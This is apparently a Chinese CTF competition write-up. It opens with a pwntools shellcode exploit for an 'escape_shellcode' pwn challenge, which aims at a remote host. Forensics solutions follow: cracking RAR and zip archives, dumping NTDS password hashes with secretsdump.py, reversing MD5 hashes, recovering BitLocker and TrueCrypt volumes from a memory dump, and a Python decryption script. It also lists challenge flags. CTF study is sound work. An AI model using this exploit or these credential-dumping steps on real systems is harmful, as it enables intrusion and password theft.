from pwn import *
context(log_level='debug',arch='amd64')
local=1
binary_name='escape_shellcode'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote("39.107.124.203",37699)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
z("b main")
shellcode='''
mov rsp,fs:0x300
mov rsi,[rsp+0x10]
add rsi,0x2f80
mov rdi,1
mov rdx,0x30
mov rax,1
syscall
'''
pause()
sd(asm(shellcode))
p.interactive()
http导出文件,得到一个加密的1.rar文件,查看流量,发现1.rar的加密过程,解密,得到密码。
解压,得到hash值,得到flag。
flag{416f89c3a5deb1d398a1a1fce93862a7}
翻流量,解压,得到一个带密码的rar,解密方式跟misc1一样,得到密码:FakePassword123$
解密,得到一个ntds.list,使用secretsdump.py解密,得到hash
python .\secretsdump.py -system SYSTEM -ntds .\ntds.dit LOCAL -history
flag{07ab403ab740c1540c378b0f5aaa4087}
查看Hash后反查即可。
对用户taqi7 密码(7f21caca5685f10d9e849cc84c340528) MD5反查得anxinqi
volatility_2.6.exe -f 1.dmp --profile=Win7SP1x64 cmdline
取证大师分析结果:
使用取证大师工具集中的内存镜像解析工具,对1.dmp文件进行解析。
得到BitLocker的密钥文件,导出,再解密,得到隐藏的文件
选择Bitblocker解密,恢复密钥文件
导出ppt文件和pass.txt文件,然后使用PasswareKit工具进行解密,得到密码287fuweiuhfiute
解密,以只读形式打开,拿到flag
flag{b27867b66866866686866883bb43536}
取证大师查看到,其中还有个新建文本文档.txt文件,推测为加密容器,这里导出来
然后第3步的时候还有个TrueCrypt的密钥文件,这里也导出来。
新建一个案例,将新建文本文档.txt和密钥文件导入,得到了一个哈哈哈.zip
拿到一个哈哈哈.zip文件
这里直接爆破,拿到密码991314
,用PTF爆破真的挺快。
flag{1349934913913991394cacacacacacc}
exec.azj.kny.d.c
第一个用了false 第二个com.kmcjrz… 发现不行 后面还有一个minmtta.hemjcbm.ahibyws.MainActivity提交通过
aHR0cHM6Ly9hbnNqay5lY3hlaW8ueHl6
猜测a,类a 通过
找到数据库密码加密函数,跑这个代码的php环境要低于7.1,echo一下即可。
先从SQL里面提取2-18号的转账记录。逆金额的加密算法,汇率数据库里面找出来,然后根据数据库里面的金额与转化率进行转化到人民币。需要注意数据库中的数据是先收款人在是转出人。写脚本匹配日期和转账人、转出人,金额加起来即可。
import base64
import hashlib
def decrypt(data):
key = hashlib.md5()
key.update(b'jyzg123456')
key = key.hexdigest()
x = 0
data = base64.b64decode(data)
Len = len(data)
l = len(key)
char = ""
str = ""
for i in range(Len):
if(x==l):
x = 0
char+=key[x:x+1]
x+=1
i =0
for i in range(Len):
if(ord(data[i:i+1])<ord(char[i:i+1])):
str+=chr(ord(data[i:i+1]+256)-ord(char[i:i+1]))
else:
str+=chr(ord(data[i:i+1])-ord(char[i:i+1]))
return str
data = ""
huilv = [0,0,0.04,0.06,0.05,0.07,0.10,0.15,0.17,0.23,0.22,0.25,0.29,0.20,0.28,0.33,0.35,0.35,0.37]
money = 0
Money = 0
with open("./flag.txt","r",encoding='utf-8') as file:
data = file.readlines()
for line in data:
if(int(line.split(',')[5])==5 and int(line.split(',')[6])==3):
Data = int(line.split(',')[4][10:12])
money = line.split(',')[7][2:10]
tmpmoney = huilv[Data]*int(decrypt(money))
Money += tmpmoney
print(Data,huilv[Data],decrypt(money),tmpmoney,line.split(',')[5],line.split(',')[6])
print("最后金额",Money)
总体体验感不错,取证方面难度梯度设置的也比较好,希望这种比赛多来。